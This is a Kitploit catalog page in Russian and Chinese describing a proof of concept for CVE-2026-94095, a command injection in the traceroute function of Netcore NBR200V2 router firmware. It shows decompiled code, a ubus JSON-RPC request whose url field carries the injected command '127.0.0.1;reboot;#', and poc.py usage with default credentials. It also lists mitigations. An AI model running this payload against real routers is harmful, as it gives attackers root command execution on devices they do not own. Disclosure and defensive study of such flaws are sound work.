Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-94095 — PoC для CVE-2026-94095 — инъекция команды traceroute в прошивке Netcore NBR200V2 через ubus JSON-RPC, позволяющая выполнить RCE с правами root для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/hackspeak/cve-2026-94095
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность оборудования и IoTСтатьи и Исследования
GitHubhackspeak/cve-2026-94095

CVE-2026-94095

PoC для CVE-2026-94095 — инъекция команды traceroute в прошивке Netcore NBR200V2 через ubus JSON-RPC, позволяющая выполнить RCE с правами root для авторизованного тестирования.

17 ч 39 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Netcore NBR200V2 — удалённое внедрение команд в функции диагностики traceroute (CVE-2026-94095)

ПолеЗначение
ПроизводительNetcore
МодельNBR200V2
Версия прошивкиV1.3.241127.071246
Уязвимый компонент/usr/bin/network_tools
Тип уязвимостиВнедрение команд ОС (CWE-74 / CWE-77)
CVSS 3.19.9 (критический)
Вектор атакиУдалённый (ubus JSON-RPC)
Предварительное условиеДоступная конечная точка ubus + сессия с низкими привилегиями (sid)
Статус у производителяСвязь установлена на раннем этапе; ответа нет; на момент раскрытия патч отсутствует

Описание

Прошивка Netcore NBR200V2 V1.3.241127.071246 содержит уязвимость удалённого внедрения команд в функции диагностики traceroute. Обработчик traceroute принимает контролируемое злоумышленником значение url из ubus JSON-RPC, конкатенирует его в команду оболочки и выполняет полученную команду. Удалённый злоумышленник может использовать этот недостаток для выполнения произвольных команд оболочки, перезагрузки устройства или полной компрометации системы.

Цепочка уязвимости

Удалённый запрос принимается как ubus JSON-RPC:

root@kitploit:~
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}

Сопоставление методов ubus направляет запрос в sub_401BD8:

root@kitploit:~
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8

sub_401BD8 разбирает данные JSON-RPC и передаёт их в tools_traceroute():

root@kitploit:~
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18;              // action
v25[1] = v7;               // url
v25[2] = _bswapsi2(*v8);   // max_hop
...
result = tools_traceroute((int)v25);

tools_traceroute() формирует команду оболочки, используя недоверенное значение url:

root@kitploit:~
snprintf(
    v4, 0x100u,
    "(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
    v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);

Уязвимость структурно идентична проблеме с ping, но достигает другой точки сброса и пути выполнения. Поскольку используется system(), разделители команд, такие как ;, &&, и комментарии оболочки, обрабатываются. Таким образом, функция диагностики становится универсальным примитивом выполнения команд.

Доказательство концепции

root@kitploit:~
POST /ubus
Content-Type: application/json

{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}

Ожидаемый эффект: маршрутизатор выполняет reboot во время обработки задания traceroute. Вместо reboot можно подставить произвольные команды оболочки.

Связанные уязвимости (та же партия)

  • CVE-2026-94096 — путь конфигурации LAN IP (тот же бинарный файл, тот же шаблон).
  • CVE-2026-94097 — конечная точка диагностики CGI (CVSS 10.0).

Все три достигают одного и того же /usr/bin/network_tools; диагностические функции в этом бинарном файле используют один и тот же небезопасный шаблон, поэтому исправления одной точки входа недостаточно.

Устранение

На момент раскрытия патч от производителя отсутствует. Временные меры защиты:

  1. Не предоставляйте доступ к интерфейсу управления из недоверенных сетей; удалите все сопоставления управления со стороны WAN;
  2. Смените учётные данные по умолчанию и используйте надёжные, регулярно меняемые пароли (аутентификация ubus является предварительным условием для этой атаки);
  3. Ограничьте конечную точку ubus / управления выделенной подсетью эксплуатации с помощью межсетевого экрана;
  4. Отслеживайте обновления прошивки производителя и проверяйте исправления для CVE-2026-94095/94096/94097 вместе.

Благодарности

Раскрытие выполнено независимым исследователем, опубликовавшим технический отчёт и координировавшим (безуспешно) действия с производителем.


分发镜像说明(中文)

本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-94095(同批:CVE-2026-94096 / CVE-2026-94097)
  • 影响产品:Netcore NBR200V2 企业路由器,固件 V1.3.241127.071246
  • 受影响组件:/usr/bin/network_tools(traceroute 诊断功能)
  • 类型:OS 命令注入(CWE-74 / CWE-77)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6;CVSS 2.0:9.0
  • 攻击面:ubus JSON-RPC 端点(POST /ubus)
  • 前置条件:可访问 ubus 接口 + 一个低权限会话(sid);弱口令/默认口令会显著降低门槛
  • 修复状态:披露者提前联系厂商,厂商零回应,暂无官方补丁

核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。

目录结构 / Layout

root@kitploit:~
CVE-2026-94095.md   —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py              —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)

环境与用法 / Requirements & Usage

  • 目标:未修复的 Netcore NBR200V2(实验室设备);需可访问 POST /ubus 与一个有效 sid
  • 依赖:Python 3(纯标准库,零第三方依赖)
root@kitploit:~
# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"

# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"

⚠️ 命令会被拼接为 127.0.0.1;<命令>;# 注入 url 参数;reboot 会直接重启设备,请仅在授权/可销毁环境测试。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 漏洞由独立研究者公开披露并整理利用链;本仓库为其公开材料的镜像与 PoC 实现。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-94095
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-94095
  • 第三方分析(VulDB):https://vuldb.com/vuln/408024
Скачать инструмент